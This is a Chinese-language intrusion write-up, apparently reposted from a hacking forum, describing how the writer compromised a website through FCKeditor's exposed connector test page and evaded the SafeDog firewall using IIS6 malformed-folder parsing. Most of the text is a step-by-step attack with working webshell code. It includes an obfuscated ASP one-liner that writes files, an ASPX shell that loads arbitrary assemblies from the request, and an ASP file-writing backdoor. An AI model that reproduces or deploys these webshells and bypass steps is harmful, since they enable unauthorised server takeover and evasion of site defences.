1
|
http://91ri.org/ fckeditor/editor/filemanager/connectors/test.html
|
FCKeditor的browser被删了,但是connector和测试页面都在,那就没问题了。
准备一个图片马,命名为a.asp;.gif然后上传,FCK自动重命名为a_asp;.gif,遇到这种情况,同一个文件再传一遍,文件就自动重命名为a.asp;(1).gif。
但是访问:
1
|
http://91ri.org/ YourUploadFilePath/file/a.asp;(1).gif
|
却弹出提示:
您的请求带有不合法的参数,谢谢合作!
来自安全狗互联网安全实验室-网站安全狗软件的友好提示,了解更多请点击
不过看到朋友已经把.asp文件夹建好了。直接传个图片到/shell.asp/这个文件夹,利用iis6的解析漏洞,就可以解析成asp了,而且绕过了安全狗。
不过知道好多马儿都上不去,菜刀一句话也403没辙。干脆就用别的了。建立shell.asp畸形文件夹的办法可以参考:《解决Fckeditor删除所有上传页面如何上传入侵》
1
|
<%If request(“cmd”)<>“” And request(“path”)<>“” then Createobject(“Scri”&“pting.FileSys”&“temObject”).CreateTextFile(server.mappath(request(“path”))).WriteLine request(“cmd”)%>
|
这是上传文件的一句话服务端,这个一句话可以用习科开发的asp上传类一句话ShellClient连接并上传文件。点此下载:shellclient
除了这个工具,“ASPX一句话shell客户端”这个工具也可以完美的绕过安全狗。
这个aspx的服务端是:
1
2
|
<%@ Page Language=“C#” ValidateRequest=“false” %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies[“psw”].Value))).CreateInstance(“c”, true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
|
密码是psw,但是现在上传后门是在/shell.asp/这个目录,如果命名aspx是500不解析的。如果加分号,对aspx也是没用的。
在“新后门”那里如果写xxx.asp,xxx.asa,xxx.cer都没问题,但是上传../xxx.aspx这样的把目录转出去到/shell.asp/文件夹外面的话就失败了
想想怎么把aspx的后门写到/shell.asp/目录外面。用了个小马:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<%
dim objFSO
dim fdata
dim objCountFile
on error resume next
Set objFSO = Server.CreateObject(“Scripting.FileSystemObject”)
if Trim(request(“systempath”))<>“” then
fdata = request(“sAvedata”)
Set objCountFile=objFSO.CreateTextFile(request(“systempath”),True)
objCountFile.Write fdata
if err =0 then
response.write “<font color=red>保存成功!</font>”
else
response.write “<font color=red>保存失败!</font>”
end if
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
Response.write “<form action=” method=post>”
Response.write “保存文件的<font color=red>绝对路径(包括文件名:如D:/web/x.asp):</font>”
Response.Write “<input type=text name=systempath width=32 size=50>”
Response.Write “<br>”
Response.write “本文件绝对路径”
Response.write server.mappath(Request.ServerVariables(“SCRIPT_NAME”))
Response.write “<br>”
Response.write “输入马的内容:”
Response.write “<textarea name=sAvedata cols=80 rows=10 width=32></textarea>”
Response.write “<input type=submit value=保存>”
Response.write “</form>”
%>
|
这样就把aspx的马写到外面了
asp上传大马会提示危险参数禁止上传,但是用这个aspx就没问题了。只需要cmd拷贝一下就可以了。asp的大马轻松运行无压力。
这个站我真的没有被安全狗难倒,秒杀。有些东西只是纸老虎而已
91ri.org:很多人说安全狗是款很垃圾的产品,其实不能说它不好 首先一款可以免费给大家用的东西可以证明至少它的出发点是好的 共享精神是好的。 其次它确实拦截了不少脚本小子们的攻击行为。 但是安全狗公司在处理漏洞被发现这件事情上真的也确实让我们不满意,人开发的就会有漏洞 被绕过也不是什么难为情的事情,多跟谷歌那些公司学习 一款产品的进步不是去封杀它存在的问题 而是改进改进在改进!
原文:http://bbs.blackbap.org/thread-3324-1-1.html
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处!
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号